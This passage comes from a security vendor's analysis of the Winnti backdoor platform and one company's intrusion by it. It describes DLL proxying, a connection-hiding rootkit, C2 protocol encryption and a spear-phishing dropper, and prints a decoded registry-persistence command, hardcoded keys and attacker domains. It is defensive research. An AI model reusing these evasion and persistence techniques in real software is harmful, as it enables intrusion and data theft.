This enables the attackers to ensure that the malicious DLL is loaded at system startup: explorer.exe loads the malicious winmm.dll from the WINDIR folder as soon as it launches during system startup.
But how can a program which depends on the original library work correctly if a malicious winmm.dll is loaded instead of the original library?
Very easy: the malicious library is designed to work as a proxy for the original winmm.dll from the WINDIR\System32 folder.
The cyber-criminals did not reinvent the wheel to make sure that everything works properly.
They relied on a tool known as AheadLib, which was developed by security researchers to analyze malware.
Winnti More than just a game This program, which is designed to facilitate the analysis of malicious libraries, was created by a Chinese developer employed by an Asian anti-virus vendor.
The program accepts a DLL on input and produces a C code which hooks the functions included in the library.
The C code is compiled back into a DLL, which can then be used as a proxy and provide flexible way to analyze behavior of malicious file.
Winnti More than just a game Hook functions (code generated by the legitimate program AheadLib) The flexibility of this tool allows to customize the logics of malicious application during analysis and overload functions code to provide some debugging output.
Some code can be added to display parameters of the hooked functions in order to find out which values are passed to the original functions when they are called.
This method is used in so called dynamic analysis of malicious applications.
Winnti More than just a game Determining the addresses of the real functions (error message in the frame: Function hs cannot be found, the program will not operate correctly) Winnti More than just a game Modified module loading the original DLL (error message in the frame: s cannot be loaded, the program will not operate correctly) Ironically, the malware authors have found this to be a convenient application for creating malicious proxy- libraries.
They specified a system library (winmm.dll) as a parameter for AheadsLib tool and produced a source code template to create a proxy DLL in the form of C file.
By overloading some functions with the malicious payload, the attackers created a complete piece of malware that included all the features of the system DLL.
Strangely, the attackers kept the code for AheadLib debug messages in the early versions of their malware (marked with red in the screenshots above).
These strings can also be found in compiled malicious binaries: The function hs cannot be found, the program will not operate correctly Winnti More than just a game s cannot be loaded, the program will not operate correctly Later, these fragments were removed from the C file generated by AheadLib.
Control DLL The winmm.dll malicious library maintains another library in its body, which is decrypted and loaded into the process memory without creating any files on local disk.
According to file version info the original name of this library is PlusDLL.dll.
This is the platforms main control component.
When the additional DLL has been properly allocated in the memory, winmm.dll passes control to it with a parameter a string which contains bot settings.
The settings string, in encrypted form, is also located in the winmm.dll body after the magic word PLUSUNIT.
Encrypted bot settings After decryption, the string contains the following: urllp.gasoft.us:80ver1018tag33grouplp80wi Apparently, when the Winnti malware managed to get into focus of security researchers: the authors made modifications of the methods used to store these initial settings.
In some samples, the settings were hidden even in the executable files header: Winnti More than just a game Encrypted settings in the header of malicious executable In other variants, the PLUSUNIT magic string was modified: UUUSUN instead of PLUSUNIT The PlusDLL library has an embedded driver.
The driver is stored in WINDIR\System32\drivername.sys file, registered as a service and started by NtLoadDriver system API function.
Immediately after that, the drivers file is removed, as well as all the registry entries created during service registration.
The executable preserved the original driver names which are PortLess and PointFilter however, the driver files used during infection are saved as sp1itter.sys and acplec.sys.
The purpose of the driver is to hide network connections established by the malware.
For example, if the user decides to check a list of established connections (e.g., using the netstat a command or the tcpview program) while the bot is communicating to the control center, the driver will protect and hide the malware connections.
This approach is used by many rootkits on the Windows platform.
The driver uses an interesting method to get the list of addresses to protect connections with.
This information is available in the PlusDLL control library, which normally operates in the context of the explorer.exe process when the infection is active on the computer.
The address information is sent from the user space (from PlusDLL) to the kernel space, where the driver works, via call to NtSetQuotaInformationFile API function.
Winnti More than just a game During initialization, the driver hooks the NtSetQuotaInformationFile function: Hook on NtSetQuotaInformationFile function Every time the function is called, the driver checks its parameters: to be precise it is HANDLE FileHandle and PVOID Buffer parameters.
The FileHandle parameter holds a descriptor of the partition on the hard drive where the function is expected to set disk quotas.
The Buffer parameter is a memory buffer with information of new quotas to be set.
The driver checks whether the value of the FileHandle parameter is equal to minus two.
When the system calls the NtSetQuotaInformationFile function to actually change the quotas, the descriptor must be associated with one of the disks.
Normally such descriptors in the Windows system are positive integers which obviously means that it cannot be equal to minus two.
The negative value is set by the PlusDLL library in order to make the driver detect that the NtSetQuotaInformationFile function was called by that library.
When calling NtSetQuotaInformationFile, PlusDLL sends information about the network addresses to be protected by the driver via the Buffer parameter.
If FileHandle is not equal to minus two, the hook function in the driver passes control to systems original code of NtSetQuoataInformationFile API function and everyhin works as it should be on an uninfected system.
Winnti More than just a game Sending data from the PlusDLL.dll library to the sp1itter.sys driver Note that 64-bit versions of Windows do not allow unsigned drivers to run.
The malicious drivers 64-bit versions were signed using stolen certificates.
During the time that we have been tracking the Winnti group, we found 11 certificates that were used to sign the malware used by the group (not necessarily drivers only).
Ten of them belong to various companies in the gaming industry.
Launching the main function As mentioned above, the PlusDLL library is a control module.
Lets look at how the cybercriminals implemented the transition to perform the malicious DLLs main tasks.
They could have simply called an appropriate function directly or created a separate thread in which to execute it, but for some reason they resorted to a trick: the code of the SetWindowStationUser function in the user32.dll library was modified.
After modification, the functions first command became jmp addr, where addr is the address of the function in the PlusDLL library which implements the malicious librarys main features.
Winnti More than just a game Hook on SetWindowStationUser Immediately after this modification, a thread is created (CreateThread) executing code starting from the SetWindowStationUser function address.
As a result, when control is eventually passed to this function, the inserted command jmp addr returns control back to the PlusDLL code.
Winnti More than just a game Malicious DLL launching its own code by creating a thread that supposedly calls SetWindowStationUser The same method is used to execute two more functions in the PlusDLL library.
One of them is used to initialize network routines the other executes procedures terminating the malicious program at the very end.
The only difference is that instead of SetWindowStationUser, the code of two other functions from user32.dll is modified EndTask and WinHelpW, respectively.
It is likely that this was done in order to hide the real addresses of functions in PlusDLL in case its code was analyzed based on its execution logs using an automatic system (sandbox) that looks at all function calls.
If this trick is used, an execution log would only show threads launched from the addresses of the functions SetWindowStationUser, EndTask and WinHelpW, which could potentially confuse researchers.
Another possibility is that this is an anti-emulation feature.
Perhaps the emulators built into some anti-virus products are unable to cope with these leaps in this case, emulation will not result in the execution of malicious functions, which also suits the cybercriminals purposes.
Target Functionality So what does PlusDLL control?
It turns out that the target functionality is implemented in different files.
Each file provides a specific remote control feature and is downloaded from the attackers server every time the system starts up.
These files are not saved on disk or in the registry but are loaded directly into the memory.
At the very start of the operation, after launching the driver, PlusDLL collects information about the infected system.
A unique identifier for the infected computer is generated based on information about the hard drive and the network adapters MAC address, e.g., TKVFP-XZTTL-KXFWH-RBJLF-FXWJR.
The attackers are interested primarily in the computers name, the program which loaded the malicious library, as well as information about Winnti More than just a game remote desktop sessions (session name, client name, user name and session time).
All of this data is collected in a buffer, which is then compressed and sent to the attackers control center.
The buffer may look like this: The bot sends information about an infected system to the control center In reply to this initial message from the bot, the control center sends the list of available plugins.
Plugins are DLL libraries that provide specific remote control functions.
Upon receiving the list of plugins, the bot downloads them, allocates them in the memory and passes control to these libraries.
Different C2 servers could push different plugins.
In total we have discovered eight functional libraries: Plugin Name Plugin Purpose CmdPlus Provide access to the system command line.
ListFileManager Provide access to the file system: list directory contents, manipulate files.
ListProc List or kill running processes.
ListService List system services.
PortMap Redirect traffic using port forwarding.
RemoteDesktop Enable Remote Desktop service on the infected machine.
Socks5Client Library for transferring data over the network using a SOCKS5 proxy server.
TransPlus Enables the attacker to transfer files: receive files from the infected machine, download/create/save files, as well as execute programs on the infected computer.
These plugins form the core toolkit which is used by the perpetrators during attack.
Winnti More than just a game Operation of the malicious platform Operation flowchart at the initial stage As you can see, the cybercriminals use an entire inventory of malicious tools to effectively control the remote computer.
Moreover, they have taken measures to conceal their activities: the plugins do not explicitly appear anywhere except in the computers memory they do not get saved to the hard drive the driver is deleted immediately after launch all traces in the registry that could indicate this launch get deleted.
Only the initial DLL remains on the disk that kick starts the entire process and contains an encrypted version of PlusDLL which is the control DLL.
One of the weak points in this architecture is that the driver does get saved to the hard drive before it launches, so anti-virus products can detect the emergence of this file.
The situation is further exacerbated by the fact that the malicious drivers may be signed (although not all drivers in the Winnti samples that we detected were in fact signed).
An unsigned driver in itself does not have the means to counter antivirus products and its code can be easily recognized as malicious, whereas signed drivers stand a better chance of remaining undetected by antivirus products: certain anti-virus products consider properly signed programs legitimate by default, so as to minimize the chances of false positive responses.
Winnti More than just a game Kaspersky Labs products detect the malicious programs described above under the following verdicts: The initial DLLs winmm.dll and apphelp.dll, the PlusDll.dll control DLLs, and functional loadable modules (CmdPlus.dll etc.)
are detected as Backdoor.
Win32.Winnti or Backdoor.
Win64.Winnti.
The drivers sp1itter.sys and acplec.sys are detected as Rootkit.
Win32.Winnti or Rootkit.
Win64.Winnti.
Communication with the CC Server The data transmitted during the communication between the bot and the CC server, naturally, do not manifest themselves in any explicit form in online data traffic.
Since an active remote control practice can generate substantial traffic, cybercriminals compress communication data with the algorithm LZMA, though they do not include the appropriate header inherent to this algorithm.
The data is transmitted over the TCP protocol.
The samples that we analyzed established connections between CC servers and ports 53, 80 and 443.
This port selection is not surprising: they are associated with the protocols DNS, HTTP and HTTPS respectively.
All three are routinely used in everyday operations, so they are enabled under most firewall policies.
Besides, large amounts of data typically pass through these ports (with the possible exception of port 53), which makes it easier for the malicious traffic to remain inconspicuous.
Although the ports are associated with certain protocols, the actual content of the traffic generated by the malicious program does not correspond to them.
Early versions of the Winnti platform exhibited the following traffic structure when communicating with CC: each block of transmitted data started with the magic number 0xdeadface, followed by the number of blocks (in a DWORD), then the hash of the transmitted block (8 bytes), the size of compressed data (DWORD), the size of source data (DWORD) and, finally, the actual compressed data.
The unit structure of a data block transmitted online in early versions of Winnti This is where another weak point of the Winnti family of backdoors becomes apparent.
With this data structure, malicious network traffic could easily be spotted by, for example, the magic number 0xdeadface.
The cybercriminals probably lost control over victim computers fairly frequently as corporate system administrators identified the intrusion by the unique headers in data packets with the help of IDS/IPS systems, and cleaned their networks.
In 2011, new versions of Winnti backdoors appeared that, while still based on the same platform, started to use an updated protocol which included extra encryption to communicate with CC, so the transmitted Winnti More than just a game data no longer had static marks in them.
Prior to encryption, the data has the following structure (very similar to the earlier format): the first 4 bytes are taken by the magic number 0xaced1984, then a DWORD of data packet description, the next DWORD carries a zero value, 8 bytes of the hash of the transmitted block, then a DWORD with the size of the compressed data, a DWORD with the size of the source data and then the actual compressed data: The unit structure of a data block transmitted online in newer versions of Winnti Then the data is encrypted with regular XOR with a random DWORD size value, and in this form transmitted to the CC.
Knowing that the first four bytes in the source data must represent the value 0xaced1984, it is easy to restore the key for the XOR operation when the data were encrypted.
This is how the above data (the XOR value was 0x002a7b2e) looked when it was intercepted in network traffic: Encrypted data block transmitted online, in the newer versions of Winnti Since the encryption key (the value with which the source data are encrypted with the XOR operation) is different each time a fragment of data is transmitted, no more static unique labels can be found in the network traffic which would quickly identify the transmitted data as belonging to the Winnti backdoor.
Employing this fast, basic method, the cybercriminals have made it much harder to expose their programs traffic.
Winnti More than just a game Whichever protocol is used (with or without extra encryption), the workflow of communication between the bot and the CC stays the same at the initial stage of operation: The bot sends the first data block, thus signaling itself In response, the CC sends back the list of available plugins The bot starts to download plugins, sending one request at a time to download each plugin The CC sends the requested plugin The bot sends a message that the plugin has arrived.
We should note here that, to expedite data downloading, the creators of this platform have quite skillfully implemented asynchronous data transmission in their protocol.
For instance, the message that the bot has received the first plugin may only arrive at the CC when nearly all the plugins have been already sent to the bot.
Having downloaded the malicious payload, the bot deploys the plugins in the memory and initializes them.
Now its all set for complete remote control over the victim computer, and the bot switches to standby mode, waiting for the operator to connect and maintaining communication with the CC by sending empty messages every 15 seconds or so.
Apart from supplying the plugins, no more automatic actions are performed by the CC: all of the work to examine the infected computers is done manually by the attackers.
Winnti More than just a game Real Case Investigation (Winnti 2.0) Please note, that the following is published with approval from one of the attacked companies which preferred to remain anonymous.
The real company name was replaced with CompanyXYZ or simply XYZ.
On 21st September 2012, a Security Officer of CompanyXYZ contacted Kaspersky Lab and reported a cyber-attack incident.
Anomalous activity was spotted at one of the corporate servers.
One of the employees noticed a suspicious directory on the server which was created under his account.
The folder had a large archived file with information that was regarded as companys intellectual property.
The anomalies were also confirmed in the network traffic by monitoring software.
Several suspicious network connections were established from several computer systems, including network domain controllers, to IP addresses which were not associated with any corporate resources or any other known trusted networks.
The suspicious connections were established on ports 443 and 53.
Below is the list of reported IP addresses: 211.60.126.164 (Seoul, South Korea) 113.196.70.169 (Taipei Taiwan) The security officer at CompanyXYZ did an on-site analysis and managed to locate the process which initiated the suspicious connections using SysInternals Process Explorer tool.
The connections were initiated by a system process (svchost.exe).
A full process dump using Process Explorer was made and shared with Kaspersky Lab.
Our team immediately started searching for malware in the provided process dump.
A next day, one more dump of svchost.exe from another presumably infected machine was provided.
We also received an IP address and port that was spotted in the suspicious connections coming from infected machines: 188.120.246.88:80 (Russia).
First Step Analysis Quick search through the dumped processes revealed IP addresses mentioned by the companys security officers.
Suspected malicious IP address in svchost.exe memory of Machine 1.
Suspected malicious IP address in svchost.exe memory of Machine 2.
Winnti More than just a game We checked memory around location of the IP address and found no signs of executable code.
The memory was most likely dynamically allocated on process heap and used as a temporary storage of resolved domain name.
That is why we had to find another indicator of malicious module related to those IP addresses.
We initiated a port scan of the suspected hosts in parallel to memory analysis.
Below is the result on the time of scanning: Nmap scan report for 113.196.70.169 Host is up (0.29s latency).
Not shown: 997 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp Xlight ftpd 2.0 80/tcp closed http 3389/tcp open ms-wbt-server Microsoft Terminal Service Service Info: OS: Windows CPE: cpe:/o:microsoft:windows The server was running Windows Terminal Service or was used as a proxy linked to some Terminal Server.
Establishing connection via RDP client usually reveals default system locale which is used on welcome screen.
Below is what we found upon connection: Chinese locale on terminal server welcome screen at 113.196.70.169 Winnti More than just a game Checking one of IP addresses on robtex.com brought two possible domain names: Robtex shared host names for IP 113.196.70.169.
One of these domains was found in the memory of dumped svchost process.
Domain name related to the suspected IP address on Machine 2.
Part of executable configuration seen in svchost memory dump of Machine 1.
Winnti More than just a game Googlefiles.net domain was also found in svchost dump of the Machine 1.
Besides that, several other domain names were discovered in the same memory block: service.interdriver.net service.googlefiles.net service.dell-support.org service.hp-supports.com Next step was to locate the nearest PE header in the memory of svchost and extract the executable module.
After fixing alignment of the sections the file was ready for further static analysis.
Date and time from PE header showed that the executable was prepared about a year before current attack was revealed: TimeDateStamp: 2011-10-13 07:21:50 The executable was a 64-bit application which means that the attackers had already known that CompanyXYZ used 64-bit systems.
The IP address 188.120.246.88, which was seen in suspicious connection was also checked.
Connecting to the port 80 of that address with simple TCP client displayed an HTTP GET request: GET /G-Content_XYZ.rar HTTP/1.1 Accept: / Cache-Control: no-cache Connection: Keep-Alive Host: 127.0.0.1:81 Pragma: no-cache Range: bytes23021988299-27335921161 Referer: http://127.0.0.1:81 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 1.1.4322 .NET CLR 2.0.50727) Usually the request is sent by the connecting client, but here the chat between client and server is obviously inversed.
That is probably done by the attackers tunneling setup which established a TCP connection with some local web server within the company network and an external host that received the stolen data.
According to the request, the attackers were downloading a file called G-Content_XYZ.rar, which seems to be an archive of over 25Gb long.
The transfer process was instantly interrupted by Security Officers of the company.
Tactical Pattern Recognition The embedded configuration shows some file names.
C_20100.NLS was discovered later as the file hosting the same malicious code on the hard drive.
WinIo.sys is a driver module on Microsoft Windows Server systems used to process networking requests.
Another interesting piece of data was in a short string xyz, which probably refers to the attack campaign name and was defined by the attackers, who deliberately put that name to tag the malware.
The word xyz most likely stands for the campaign name which comes from the attacked companys name CompanyXYZ.
That was the first evidence that we were dealing with a well-prepared targeted attack against CompanyXYZ.
From our previous experience, we have seen several targeted attacks against gaming companies and some of them were also tagged after the name of the companies.
In all those attacks there was a recognizable pattern of the attackers: they always used third-level domain names for the command and control server of the malware while second-level Winnti More than just a game domain name usually resolved to 127.0.0.1 or was a public DDNS domain.
A quick check confirmed that this tactical pattern was present in this case as well.
Since then, we believed that it is the same attackers we already knew about.
This group of attackers was internally labeled Winnti by one of our researchers, who named it after one of the very first discovered executable malicious modules.
Active Attack Countermeasures As soon as we discovered additional configuration, secondary domain names and IP addresses that could be used to control the infected hosts, we instantly reported it to the CompanyXYZs Security Officer, who instantly adjusted network firewall rules to block all connections to the attackers hosts.
Assisted remote system analysis of another infected machine resulted in discovery of C_20100.NLS file in the Windows system directory and a reference in the system registry to start malicious module as system service: HKLM\System\CurrentControlSet\services\Nwsapagent\Parameters\ ServiceDll C:\Windows\system32\c_20100.NLS ServiceMain StartMain ServiceDllUnloadOnStop 1 Date of registry key creation was the first discovered time of the attack (however, we found an earlier date later): Thu Sep 6 04:26:19 2012 Malicious service registry settings were hidden by a rootkit module, however it helped to identify an infection as the registry key name was the same on all the affected computers.
Simple creation of a key named HKLM\System\CurrentControlSet\services\Nwsapagent could fail if the system was infected.
Rootkit detection method - registry key renaming fails if the key already exists.
The rootkit module protected the registry key, but it didnt protect the executable module stored on the hard drive.
It was possible to rename c_20100.NLS file, reboot the machine and clean the registry.
Alternative and even more reliable method was to reboot into Windows Safe Mode, clean the registry key and delete the c_20100.NLS file.
This method was used by companys System Administrators to find other modules that were not in c_20100.NLS.
The Infection Vector Since the infection was located and cleaned, the next step was to locate the breach used by the attackers to penetrate the network.
Security Officers of the company suggested to start checking from a distinct host they have Winnti More than just a game suspected.
The host (lets call it Machine 3) belong to an employee without network administrators rights.
It was known that it had connected to the attackers IPs like the server systems.
The affected companys security officers obtained a copy of the hard drive of the suspected machine and provided a remote access to the disk image.
Browsing through the directory structure based on the suspected and adjacent dates of infection (01-06 September 2012) revealed a couple of suspicious files that could have been related to the attack: C:\RECYCLER\en.exe Type: PE file Created: 2012-09-06 04:08:53 UTC Size: 405504 MD5: cf119a66d4c3e2355c1ec4ac316a7130 C:\WINDOWS\system32\drivers\tcprelay.sys Type: PE file (native) Created: 2012-09-05 17:27:04 UTC Size: 99912 MD5: 0b105cd6ecdfe5724c7db52135aa47ef Preliminary analysis of tcprelay.sys proved that it was a malicious file which had another encrypted executable file embedded in it.
This gave an even earlier suspected timestamp of infection: 2012-09-05 17:27:04 UTC or 2012-09-05 20:27:04 (local system timezone, UTC3) At the time of check there was no reference in the registry that was linked to tcprelay.sys, perhaps due the fact that system administrators had already cleaned the registry.
This was confirmed by a file in local Administrators Desktop folder: C:\Documents and Settings\Administrator\Desktop\1.reg (created on 2012-09-24 12:44:07 UTC) The file had an exported registry data, which had been removed from the registry during system cleanup on 24th September 2012.
Here is the original contents of the registry key (HKLM\SYSTEM\CurrentControlSet\Services\tcprelay) before it was removed: Tcprelay.sys registry settings with original file path.
Once the infection on the machine was confirmed we started looking for the origins of the malicious files.
From our previous experience of Winnti gang tactics, we knew that they are keen on sending targeted emails with attached executables.
Security Officers helped us check all the emails stored in local Outlook database file on suspected dates of infection, however that didnt reveal anything suspicious.
We have also found system event log files which were copied and analyzed.
Event logs had records of tcprelay service start timestamps which confirmed the discovered date of infection.
User SID corresponded to the local user account according to the registry.
Winnti More than just a game Tcprelay service first start time from the Event Log The Machine 3 had an anti-virus program installed.
Checking detection logs of the anti-virus on the suspected date of infection (05.09.2012) showed that there was a single detection right before tcprelay service first start.
Part of the antivirus quarantine log.
We recovered the PDF document called Transmission with Steps, Realited and Compressed.pdf from the anti- virus quarantine and prepared to find an exploit inside.
The PDF had a lot of obfuscated JavaScript code inside, however we believe that it was not related to the original infection of the system.
It was clean and the anti-virus detected it by mistake, probably because of some suspicious obfuscated JavaScript code.
Winnti More than just a game PDF document detected by the antivirus as malicious.
The JavaScript code inside the PDF was used to process an interactive form inside the PDF and support dynamic interactive 3D model embedded in the document using Adobe 3D technology.
After that, we checked the infected machines browser history.
The Internet Explorer history log files showed that the user was reading email right before the infection of his machine.
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Internet Explorer log history record: html file from Outlook.
Winnti More than just a game With that in mind, we analyzed the Outlook local database again.
This time we used several techniques to recover emails that were deleted from the Trash folder.
This helped to partly recover a message which arrived on the day of infection.
Recovered targeted attack email on Machine3.
The text of the message supposed to contain an attachment, however the attachment and MIME headers of the email were completely lost and couldnt be recovered.
However, it was clear that the email was a targeted attack against the employee of the company.
It was sent from companyxxyz163.com and replaced From field in the email body which made it look like a legitimate email in the list of messages in Outlook.
Targetted attack email in the list of Outlook messages.
Winnti More than just a game We discovered a Windows prefetch file in the system directory, that was created when the malicious attachment was opened.
The timestamp correlates with the time of infection.
C:\WINDOWS\Prefetch\CompanyXYZ EMPLOYEE SALARY ADJ-1AF9D56A.pf Time of creation: 2012-09-05 19:52:00 (local timezone, UTC03) Unfortunately, the prefetch file format is proprietary and there is nothing interesting in those files, except the original executable file name.
Full path of the malicious executable that infected the first computer in the company was: C:\Documents and Settings\Username\LocalSettings\Temp\RAREX00.156\CompanyXYZ EMPLOYEE SALARY ADJUSTMENTS EBOOK.EXE According to the file path, this executable was a part of an archive, which was opened with WinRAR installed on the system.
Upon discovery, we requested the Security Officers to provide us with full MIME as well as to check who else may have received the same message.
The check discovered series of emails sent to several publicly known email addresses.
In all cases the text message was the same as shown above, however sent from different mailboxes.
The Return-Path MIME filed seemed to have the original email addresses of the attackers: companyxxyz163.com company.xyzgmx.com The attackers used the same IP to send out emails: 118.142.11.114 inetnum: 118.140.0.0 - 118.143.255.255 netname: HGC descr: Hutchison Global Communications country: HK person: ITMM HGC nic-hdl: IH17-AP e-mail: hgcnetworkhgc.com.hk address: 9/F Low Block , address: Hutchison Telecom Tower, address: 99 Cheung Fai Rd, Tsing Yi, address: HONG KONG phone: 852-21229555 fax-no: 852-21239523 The emails we checked had the same attachment of 96782 bytes named Salary adjustments.zip.
There was only one file inside ZIP archive, called CompanyXYZ Employee Salary Adjustments Ebook.exe.
Full details about this application are provided further down in current report.
To summarize, the targeted attack started from an email sent at 05.09.2012 19:12 (UTC03).
It resulted in system infection at 05.09.2012 19:52 (UTC03).
Winnti More than just a game Full File Analysis Salary adjustments.zip File Size: 96782 MD5: 1b56416fefa2d2c863f3b46dfb6dc353 Location: targeted attack email message attachment Creation time (authors timezone): 2012-09-05 14:29:10 This file is just a container for CompanyXYZ Employee Salary Adjustments Ebook.exe.
CompanyXYZ Employee Salary Adjustments Ebook.exe File Size: 122880 MD5: 6ef66c2336b2b5aaa697c2d0ab2b66e2 Location: Salary adjustments.zip Creation time: unavailable Link time (UTC): 2012-07-21 18:50:18 Internal name: FlashUpdate.
EXE This application is a wrapper for another embedded executable modules.
It serves as a dropper of malware.
Malware dropper file structure Notable fact: this application has a resource section inside and the default locale is set to Chinese Simplified.
The file creates three long binary data registry keys, two of which are encrypted executable modules and one encrypted config from the body of the original dropper.
These values are encrypted with simple 1-byte XOR.
Winnti More than just a game Decrypted sysinfo config contents Sysinfo config module is used by sysbin01.
Apparently it starts with the company name and has three domain names, one of which is most likely used to check Internet connectivity (update.microsoft.com).
Sysbin01 module is a loader component.
It creates several threads running various jobs.
Sysbin01.thread1 attempts to load TEMP\ComputerName.ax file and decrypts it.
ComputerName.ax file structure We checked the system but couldnt find ComputerName.ax file in the Temp folder of the user, however we found other .ax-files that seemed to be related because of the date of file creation.
File name: C:\Documents and Settings\User\Local Settings\Temp\ComputerName_p.ax File size: 2660 Creation time (UTC): 2012-09-06 06:22:42 MD5: unavailable (the system went offline before we discovered the filepath).
File name: C:\Documents and Settings\User\Local Settings\Temp\uid.ax File size: 16 Creation time (UTC): 2012-09-06 05:03:06 MD5: unavailable (the system went offline before we discovered the filepath).
According to the code that loads ComputerName.ax it is an encrypted executable file, which is decrypted and loaded to memory by own loader routine in the sysbin01 module.
Sysbin01.thread2 spawns a new instance of Sysbin01.thread3 every 10 seconds during, that is done 3 times.
Winnti More than just a game Sysbin01.thread3 This thread is the most important.
It reads the configuration from the registry and connects to the CC servers specified in the config via direct tcp connection or via proxy that is fetched from the the settings of locally logged in user profile.
The config had the following CC: tank.hja63.com.
It sends a POST /HEXNUMBER request with User-Agent lynx, the data after HTTP header is just AA, expected answer is also AA.
This thread also creates TEMP\uid.ax and stores current system unique ID, which is generated by CoCreateGuid system API (16 bytes).
It is able to receive and save data from the CC server to a file.
It also monitors windows of explorer.exe and copies textual data from password fields if the user types in, stolen data is saved to a file first.
After all threads are launched, the main thread waits for termination of Sysbin01.thread3, which is created first and then exits.
sysbin02 module behaviors depends on currently running processes.
There is an embedded DLL file according to Figure 15 in sysbin02.
If the system has a running process named 360tray.exe, then the embedded file is stored in SYSTEM\MFC42LOC.DLL, then copies the source executable (FlashUpdate.exe) to TEMP\Flash.tmp and runs a new process from that location via WMI Win32_Process.
Create method.
If the system has a running process named bdagent.exe, then it copies the source executable (FlashUpdate.exe) to TEMP\Flash.tmp, decodes an embedded Base64 string and executes.
The string has the following text after decoding: reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v FlashUpdate /t REG_EXPAND_SZ /d APPDATA\FlashUpdate.exe -update activex /f The module also saves current module file path to the registry in the following key location: HKCU\Software\Classes\path Next it patches the tmp file with two dword AAAA values which looks like corruption of embedded encrypted sysbin modules inside.
The meaning of this action is currently unclear.
Then it moves Flash.tmp file to FlashUpdate.exe by and starts a new process from new location.
Finally, if there is not qqpctray.exe process running, and this seemed to be the case for the analyzed system, it copies the source executable (FlashUpdate.exe) to TEMP\Flash.tmp, patches the new file and increases its size by adding system explorer.exe file contents to the resource section RC Data 20 times.
The purpose of this is to make the new executable look like the real update service of Adobe Flash, it simply stuffs the file with executable code of another application.
Then it moves the file to new location APPDATA\FlashUpdate.exe, saves new module file path to the registry in the following key location: HKCU\Software\Classes\path and starts a new process from there.
c_20100.NLS (aka SrvCore.dll) File Size: 15847156 MD5: 5778178a1b259c3127b678a49cd23e53 Location: C:\WINDOWS\system32\c_20100.NLS Creation time (UTC): unavailable Link time (UTC): 2011-09-16 13:23:34 Winnti More than just a game Summary c_20100.NLS works in two modes.
The first mode is a load as a dynamic library and the second is a launch as a service.
Both branches have the same core functionality.
This module is a universal executable code loader with no embedded payload.
Its main purpose is to connect to the CC server, download and store the encrypted payload in the system registry.
It is also responsible for loading, decrypting and running the payload module from the registry after system restart.
Details c_20100.NLS contains a ciphered block with initial settings.
This ciphered block resides at the very end of the file of this malicious program and is decrypted in the beginning of execution.
Structure of block: Initial settings in the end of file The malicious program XORs the magic number with a hardcoded value 0x19860609, converts a resulted value into a HEX-string and uses that string as a key for RC4 cipher algorithm.
In this case string-key represents 00000000 because of the magic number is equal to the hardcoded XORing value.
With that key malicious program decrypts (RC4) ciphered archive.
The archive has the following data: Archive of initial settings Custom LZ-like compression algorithm resembling was used to pack initial settings.
After unpacking the following data appears: Winnti More than just a game The Initial settings The malicious program tries to read registry value SrvCode by registry path: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion.
That value is expected to contain ciphered with RC4 data.
To decrypt it program uses 2nd integer of initial settings (in this case 0x3514) XORed by hardcoded byte 0x12.
Result is converted into a HEX-string and is used as RC4 key for further decryption (here it is 00003506).
That registry value appears if this malicious program had already worked on the system and received data from the CC server in the past.
Content of SrvCode poses a ciphered executable which should be loaded into the memory and run.
If SrvCode is not found malware makes attempts to connect to one of the specified CC servers.
Winnti More than just a game CC Server Address Selection Initial settings define the type of CC format.
Byte at offset 0x24C stores the CC type value: 0x00: the malware uses 4 URL-based CCs placed at 0x4C, 0x8C, 0xCC and 0x10C offsets.
By all appearances these are public resources (forums, blog platforms and so on) where the attackers leave messages with specially crafted content for a bot.
If connection fails, the malware tries another approach.
0x01: the malware uses attackers hardcoded servers and connects to host and port specified at offsets: 0x14C, 0x18C, 0x1CC and 0x20C.
If connection fails the malware tries another approach.
If URL-based scheme is used then malware loads a web-page by specified in settings URL.
The target text has to begin and end with special hardcoded delimiters: B9273C17 start, B6A74634 end.
The malware reads contents of the webpages until it finds a proper page with delimiters.
If found, the malware takes the text between delimiters and treats it as data of hex string, converts it to the binary data and decrypts resulted data using RC4 algorithm with hardcoded key rtyr_45_trf.
For example: B9273C17E67024277AE02E2A8A780B243C0BCA88FE85A1B6A7463, The data between delimiters: E67024277AE02E2A8A780B243C0BCA88FE85A1, It is converted into binary: 0xe6 0x70 0x24 0xa1 and this buffer is decrypted with RC4 key rtyr_45_trf.
Result is a host and port of CC: nx2.intercpu.com:25.
If the host-port schema is used then malware simply connects to the hardcoded CC servers directly.
Communication with CC Server Once a working CC server is found the malware sends specially crafted ciphered buffer to via TCP/IP.
On request from a bot a CC server replies with several blocks of data described below: 1st block 0xC bytes of header: 0x1000010, 0x1000010, reserved 4 bytes.
2nd block 0x1C bytes (due to absence of real respond from the CC Im presenting an example buffer of this block containing bytes 0x00, 0x11, 0x22, , 0xFF, 0x00, 0x0, 0x0, , 0x00): 2nd block of 0x1c bytes: example First DWORD of this buffer (here, 0x33221100) is a magic number which is XORed with the value 0x1986052.
Resulted lowest byte is used to XOR unpacked data.
Winnti More than just a game Word at offset 0x4 (here, 0x5544) poses a checksum of unpacked data which should correspond with actual received content.
DWORD starting at offset 0x8 (here, 0xBBAA9988) represents a size of unpacked data.
Value at marked place at 0xC offset (in example picture it is dword 0xFFEEDDCC) represents a size of next block of data to be received.
That data will pose an archive, hence this value represents a size of packed data.
3rd block The 3rd block poses an archive of ciphered data.
Being received, unpacked and decrypted, data is ciphered again with RC4 and stored into SrvCode value of registry by mentioned above registry path.
The eceived data is processed as an executable file to run.
The malware places the executable in memory, prepares for running and makes call to the entry point of the new code.
Then it waits when following event will be triggered: Global\D5ACF9F6-C8B3-47d1-9768-57162E1F5FDB When triggered, the malware finishes execution.
During the process of finishing it deletes registry value SrvCode along with values DrvCode and KeyCode from the same registry path although this malware was not creating them.
Tcprelay.sys File Size: 99912 MD5: 0b105cd6ecdfe5724c7db52135aa47ef Location: C:\WINDOWS\system32\drivers\tcprelay.sys Creation time (UTC): 2012-09-05 17:27:04 Link time (UTC): 2011-12-21 13:55:03 This file is a Microsoft Windows native application, which is loaded as a driver and had a valid digital signature in 2012.
The certificate was issued by LivePlex Corp, which can be found online by searching for the company name.
One of their webpages is here: http://www.linkedin.com/company/liveplex http://www.linkedin.com/company/liveplex Winnti More than just a game Digital certificate of Tcprelay.sys LivePlex profile page on LinkedIn Winnti More than just a game When the driver is loaded it decrypts an embedded DLL file, which is immediately injected into the address space of services.exe process.
